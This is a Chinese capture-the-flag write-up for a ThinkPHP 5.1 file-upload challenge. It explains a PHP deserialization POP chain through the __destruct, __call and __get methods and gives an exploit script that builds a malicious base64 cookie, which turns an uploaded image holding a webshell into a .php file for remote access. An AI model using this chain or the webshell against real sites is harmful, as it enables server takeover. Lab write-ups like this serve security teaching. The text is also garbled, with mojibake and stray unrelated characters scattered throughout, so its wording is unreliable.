題目
沒有注入岛都,注冊完進(jìn)來張這個樣子
過程
1.嘗試多種上傳之后风瘦,發(fā)現(xiàn)只有jpg圖片里加一句話可以有效上傳队魏。上傳成功后,在upload文件夾下,文件名變?yōu)閙d5胡桨。并且無法再次上傳官帘。
upload/adeee0c170ad4ffb110df0cde294aecd/f3ccdd27d2000e3f9255a7e3e2c48800.png
2.發(fā)現(xiàn)有一個聊天框,感覺可以文件包含昧谊。目錄掃描刽虹,發(fā)現(xiàn)/www.tar.gz,下載源碼呢诬,發(fā)現(xiàn)是tp5.1涌哲。
同時抓包發(fā)現(xiàn)cookie是一串base64,解密后是反序列化尚镰。
看到Profile這個文件阀圾,主要是文件上傳
發(fā)現(xiàn)這部分引用了一個新類,并且這個類在該文件沒有找到
最終發(fā)現(xiàn)在index.php這里
說明上傳之前會檢查一遍賬號信息
接著看Profile.php
看到這個函數(shù)
會進(jìn)行一次檢查
看到下面有兩個魔術(shù)方法
關(guān)鍵就在怎么觸發(fā)這兩個魔術(shù)方法
當(dāng)對象調(diào)用不可訪問屬性時狗唉,就會自動觸發(fā)get魔法方法
在對象調(diào)用不可訪問函數(shù)時初烘,就會自動觸發(fā)call魔法方法。
看到register.php 這里
發(fā)現(xiàn)有個__destruct()魔術(shù)方法,
上面這兩輸出可控分俯,我們可以讓checker這個屬性為Profile類
然后就會調(diào)用Profile類里的index()函數(shù)肾筐,那么就會觸發(fā)__call魔術(shù)方法
name是不可訪問函數(shù)的名字
arguments是參數(shù),為空
而當(dāng)使用this->index,就是訪問一個不可訪問的屬性澳迫,然后觸發(fā)__get()魔術(shù)方法
而except這個參數(shù)我們可以控制,并且他訪問了索引name局齿,說明他是一個數(shù)組
接著就是讓except變成啥樣
我們再回過頭來看上傳的部分
只要我們第一次上傳文件,那么empty($_FILES)就會為1橄登,那么就會繞過下面那個png檢查抓歼,直接跳過,進(jìn)入下一個if
我們讓ext等于1即可進(jìn)入
filename我們可控拢锹,由此
可以通過這個來將我們的webshell復(fù)制到filename里去
要觸發(fā)這個東西我們需要調(diào)用
upload_img這個方法
而調(diào)用upload_img剛好可以通過上面那兩個魔術(shù)方法調(diào)用
整個POP鏈大概是這樣
讓A類訪問一個不可訪問的函數(shù)谣妻,觸發(fā)__call,在通過call里訪問不可訪問的屬性觸發(fā)__get卒稳,然后調(diào)用upload_Img方法
接著要找一個反序列化函數(shù)蹋半,那讓POP鏈成功執(zhí)行
發(fā)現(xiàn)index.php里會反序列化cookie,由此通過這個來進(jìn)行我們的pop鏈充坑。
exp:
<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed =0;//目的是過destruct里的if;
}
class Profile{
public $checker =0 ;//目的是繞過index類的檢查减江,防止退出程序
public $filename_tmp="./upload/adeee0c170ad4ffb110df0cde294aecd/f3ccdd27d2000e3f9255a7e3e2c48800.png";
public $upload_menu;
public $filename="upload/penson.php";
public $ext=1;//目的是過if來調(diào)用復(fù)制webshell
public $img;
public $except=array("index"=>"upload_img");//目的是通過__get()魔術(shù)方法調(diào)用upload_Img函數(shù)
}
$a = new Register();
$a->checker = new Profile();//目的是調(diào)用POP鏈
$a->checker->checker=0;//調(diào)用pop鏈防止退出程序
echo base64_encode(serialize($a));
s
生成的cookie用去替換已有的cookie捻爷,然后刷新辈灼,再去問問原來圖片的文件夾
可以看到原來的png已經(jīng)變?yōu)榱藀hp文件
這時候蟻劍去鏈接,發(fā)現(xiàn)成功鏈接上